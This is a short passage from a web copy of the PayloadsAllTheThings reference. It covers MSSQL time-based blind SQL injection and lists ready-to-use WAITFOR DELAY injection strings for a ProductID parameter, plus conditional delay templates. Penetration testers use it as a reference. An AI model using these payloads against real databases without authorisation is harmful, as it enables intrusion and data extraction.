SQL Injection · passage 61 of 186

MSSQL Injection: MSSQL Time Based

2 code blocks · SQL Injection/MSSQL Injection.md

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In a time-based blind SQL injection attack, an attacker injects a payload that uses `WAITFOR DELAY` to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not.

ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

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Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP